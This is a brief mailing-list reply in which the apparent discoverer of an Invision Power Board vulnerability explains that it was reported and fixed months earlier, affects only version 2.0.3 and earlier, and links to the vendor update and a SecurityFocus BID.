Hello,
I am writing to clear up any confusion here for both the end users and
the readers.
1) This vulnerability was discovered by me (James Bercegay), reported,
and fixed several months ago.
2) If you have applied the necessary Invision Power Board updates as
outlined here
http://forums.invisionpower.com/index.php?showtopic=168016
Then you are 100% immune to this "exploit" :) Indeed this only
affects 2.0.3 and earlier.
3) I believe this is the link to the real BID for this issue
http://www.securityfocus.com/bid/13529
I have no idea how the confusion came about in regards to this issue,
but hopefully this clears up any questions the Invision Power Board
users reading this post may have.
Regards,
James
P.S. Yes, it does seem agustus00 was right when he said the exploit code
was copied.
